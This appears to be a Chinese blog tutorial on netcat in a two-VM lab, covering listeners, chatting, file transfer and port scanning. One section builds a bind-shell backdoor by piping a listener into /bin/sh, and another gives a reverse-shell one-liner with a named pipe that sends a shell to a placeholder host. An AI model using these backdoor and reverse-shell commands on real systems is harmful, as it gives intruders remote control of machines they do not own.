51 nc

2016-11-04  本文已影响176人  StarShift

nc 命令简介

nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。

nc 命令选项

1.参数

1、开启本地监听端口

本次实验我们使用两个虚拟机进行。我的两台虚拟机一台地址为192.168.125.128 ,另外一台为192.168.125.129。

在192.168.125.128 上面打开一个本地监听端口。

使用 -l 选项在本地创建一个监听端口。

root@ubuntu:~# nc -l -p 80

通过netstat -anpt 查看当前开放端口。

root@ubuntu:~# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      2215/nc         
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      653/cupsd       
tcp        0      0 0.0.0.0:8123            0.0.0.0:*               LISTEN      1150/sshd       
tcp        0     52 192.168.125.128:8123    192.168.125.1:54405     ESTABLISHED 2142/sshd: newer [p
tcp6       0      0 ::1:631                 :::*                    LISTEN      653/cupsd       
tcp6       0      0 :::8123                 :::*                    LISTEN      1150/sshd

在192.168.125.129 上面运行命令,连接到192.168.125.128 的80端口。

nc -nvv 192.168.125.128 80

输入想要输入的内容:

root@ubuntu:~# nc -nvv 192.168.125.128 80
Connection to 192.168.125.128 80 port [tcp/*] succeeded!
kjkjl
hello

在192.168.125.128 上面输出:

root@ubuntu:~# nc -l -p 80
kjkjl
hello

同时,在192.168.125.128 上面输入

root@ubuntu:~# nc -l -p 80
kjkjl
hello
dkajdkajdl

也会在192.168.125.129 上面获得输出:

root@ubuntu:~# nc -nvv 192.168.125.128 80
Connection to 192.168.125.128 80 port [tcp/*] succeeded!
kjkjl
hello
dkajdkajdl
nc传输文件

128:

先删除cats.txt , 然后打开80端口,将输出重定向至cats.txt

root@ubuntu:~# ls
1   1.txt  3.txt     herpets.txt  ip.txt  my.txt     pets.txt  web.txt
1n  2.txt  cats.txt  html.txt     link    nohup.out  pet.txt
root@ubuntu:~# rm cats.txt 
root@ubuntu:~# ls
1   1.txt  3.txt        html.txt  link    nohup.out  pet.txt
1n  2.txt  herpets.txt  ip.txt    my.txt  pets.txt   web.txt
root@ubuntu:~# nc -l -p 80 > cats.txt

129:

连接128 的80端口,并将cats.txt作为输入。

root@ubuntu:~# nc -nvv 192.168.125.128 80 < cats.txt 
Connection to 192.168.125.128 80 port [tcp/*] succeeded!

命令结束后查看128的cats.txt文件:

root@ubuntu:~# cat cats.txt 
This is my cat
  my cat's name is betty
This is my dog
  my dog's name is frank
This is my fish
  my fish's name is george
This is my goat
  my goat's name is adam

NC 绑定shell 做一个简单后门

128 :

通过nc 监听本地80 端口,然后管道给/bin/sh作为输入。

root@ubuntu:~# nc -l -p 80 | /bin/sh

129:
在129 上面连接128的80端口,就可以运行shell命令了。

  1. 先创建一个目录
root@ubuntu:~# nc -nvv 192.168.125.128 80 
Connection to 192.168.125.128 80 port [tcp/*] succeeded!
mkdir -p /home/nc
``
2. 查看128 上面的创建情况,文件夹创建成功。

root@ubuntu:~# ls /home/
nc newer


在Linux的大部分发行版中都默认编译了nc,但也许是出于安全考虑,发行版中默认编译的nc往往没有-e选项(没有define一个GAPING_SECURITY_HOLE常量),也就是说我们不能通过-e选项绑定目标的shell,使得我们在利用上受到限制。

root@bt:~#mknod /tmp/backpipe proot@bt:~#/bin/sh 0</tmp/backpipe | nc x.x.x.x listenport 1>/tmp/backpipe


#### 使用nc作为网络扫描

可以使用nc作为网络扫描器,扫描服务器的开放端口。

root@ubuntu:~# nc -zvv 192.168.125.128 8120-8125
nc: connect to 192.168.125.128 port 8120 (tcp) failed: Connection refused
nc: connect to 192.168.125.128 port 8121 (tcp) failed: Connection refused
nc: connect to 192.168.125.128 port 8122 (tcp) failed: Connection refused
Connection to 192.168.125.128 8123 port [tcp/*] succeeded!
nc: connect to 192.168.125.128 port 8124 (tcp) failed: Connection refused
nc: connect to 192.168.125.128 port 8125 (tcp) failed: Connection refused

上一篇下一篇

猜你喜欢

热点阅读